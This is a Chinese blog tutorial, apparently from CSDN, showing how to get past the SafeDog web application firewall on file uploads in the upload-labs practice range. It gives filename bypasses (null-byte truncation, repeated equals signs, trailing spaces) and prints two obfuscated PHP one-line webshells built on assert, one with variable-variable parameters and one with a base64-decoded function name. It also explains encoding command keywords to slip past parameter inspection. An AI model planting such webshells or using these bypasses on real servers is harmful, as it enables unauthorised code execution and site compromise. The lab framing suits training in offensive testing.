• 【网络安全】文件上传之安全狗bypass


    作者名:Demo不是emo 

    主页面链接:主页传送门
    创作初心:一切为了她
    座右铭:不要让时代的悲哀成为你的悲哀
    专研方向:网络安全,数据结构

    每日emo:保持心脏震荡,等有人与我共鸣

      sql注入的WAF你会了,文件上传的WAF你见过吗,关注我,让我带你由简入难实战各个WAF,今天先来看看web安全渗透必会的安全狗WAF,你会绕吗?看我带你将它拿下

    目录

     一:环境配置

    1.upload-labs的文件上传靶场

    2.安全狗WAF软件 

    3.检测WAF是否生效

     [1].创建一句话木马

     [2].开启靶场环境

     [3].尝试上传php文件

    二:实际操作

    1.基于文件名的绕过

    [1].00截断

    [2].多个等号

    2.基于木马内容的绕过

     [1].畸形传参木马

     [2].经典编码木马

     三:拓展内容


     一:环境配置

    1.upload-labs的文件上传靶场

    这里也是直接给大家准备好了,链接如下,放在根目录下,到浏览器打开就能用了

    upload-labs文件上传靶场-网络安全文档类资源-CSDN文库

    2.安全狗WAF软件 

      这个应该很多人都没有,但是我肯定为大家准备好了啊,链接如下(就问服务到不到位)

    链接:https://pan.baidu.com/s/1i7R28EWV7Bn6Errrxi9UAA?pwd=emlg 
    提取码:emlg
     

    下载之后跟着提示安全即可

    注意:1.安装成功之后记得开启安全狗的网站保护和文件上传防护

               2.记得关闭安全狗的cc攻击防护,因为待会实战过程中尝试多次,可能被封ip 

               3.将文件上传的php后缀设置到黑名单,即防护上传的php文件

    3.检测WAF是否生效

     [1].创建一句话木马

     [2].开启靶场环境

    这里演示的环境是upload-labs靶场的第六关,这关没有WAF时的上传方法是抓包在文件名后面添加一个空格即可绕过。如下

     没有配置WAF时将这里的“text.php”改为“text.php ”即可绕过限制

    此时打开并选中刚才的php一句话木马

     [3].尝试上传php文件

     显示拦截页面,说明本次实验需要的环境已经搭好了

    二:实际操作

    这里就不做这么多原理的讲解了,因为讲起来太多了,所以这里就直接给大家介绍绕过姿势

    1.基于文件名的绕过

    [1].00截断

    先将"text.php"换成"text.php;.jpg", 这里的.jpg是为了混淆WAF和后端的后缀识别

     再将;hex编码替换为00,造成00截断,如下

     此时放行试试数据包,效果如下:可以看到,已经绕过了WAF的检测,因为并没有弹出安全狗的拦截页面,但是后端的过滤还没有绕过,所以显示不允许该文件上传

     刚才我们说了这关靶场后端的绕过方式是加一个空格,所以我们在刚才的基础上再加一个空格,就是把"text.php.jpg"变成”text.php .jpg

    此时再放行数据包,效果如下,成功上传

     这里我们来尝试访问一下上传之后的php文件,又被拦截了

    这又是为什么呢?这就是待会我要给大家讲的基于内容的拦截,不急,先给大家把绕过WAF上传限制的姿势讲了来

    [2].多个等号

    这个操作就更简单了,直接在文件名的位置把一个等于换成多个等于,也能绕过WAF,此时再在末尾加空格,直接成功上传,如下

    2.基于木马内容的绕过

     因为上面我们用的一句话木马是市面上最常见的一句话木马,基本上所有的WAF识别到这段内容都会将其拦截,这也是我们为什么上传了但是访问不了的原因,可以开启安全狗的木马扫描试试,如下

      可以看到木马很快就被扫描出来了,还标记了一个常见木马,这可不行啊,得想办法啊,所以我们要做免杀一句话木马,让他扫描不出来,这里给大家准备了两个能够过安全狗的木马

     [1].畸形传参木马

    1. $a = $_GET['x'];
    2. $$a = $_GET['y'];
    3. $b($_POST['z']);
    4. ?>

     使用方式如下

    get方式传如参数xy,值分别为bassert ,再用POST方式传如参数z,值为自己想执行的命令

     可以看到能成功执行,达到木马的效果

     [2].经典编码木马

    通过assert函数的base64编码后的拼接即可绕过,如下: 

    代码如下

    1. $e=base64_decode("YXNz马赛克ZXJ0安全狗");
    2. $e($_POST['aa']);
    3. ?>

     此时浏览器访问该文件,POST方式传入参数aa,值为想要执行的命令即可,如下

     成功执行,直接拿下

     三:拓展内容

    上面的绕过方式不可避免都有一些问题,那就是传参时使用了敏感关键字,比如phpinfo()之类的,有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔),那这时候我们怎么办呢?

    我们可以把传参使用的敏感关键字变成其他编码格式,比如base64,再在一句话木马中对传入的参数先做一个解码操作,如下

    在木马中添加解码操作 

    就是把关键字拿去加密

     传入加密过后的关键字

     同样可以生效,成功绕过了关键字检测

    希望大家看完后能有收获,感谢大家的阅读。

  • 相关阅读:
    计算机视觉CV领域中多尺度特征的概念
    国产分布式数据库sequoiadb的前景如何?
    拼多多根据ID取商品详情 API 返回值说明
    MYSQL学习之——约束
    ClickHouse(10)ClickHouse合并树MergeTree家族表引擎之ReplacingMergeTree详细解析
    YOLOv5全面解析教程②:如何制作训练效果更好的数据集
    如何使用 Python 开发企业文档管理应用程序 (教程含源码)
    设计模式六大原则
    Springboot、Tomcat+skywalking 链路追踪、日志收集配置
    javaweb JSP JAVA 电影院在线订票系统(电影购票系统 电影售票 电影票预订系统)(支持在线选座)
  • 原文地址:https://blog.csdn.net/qq_63844103/article/details/128021707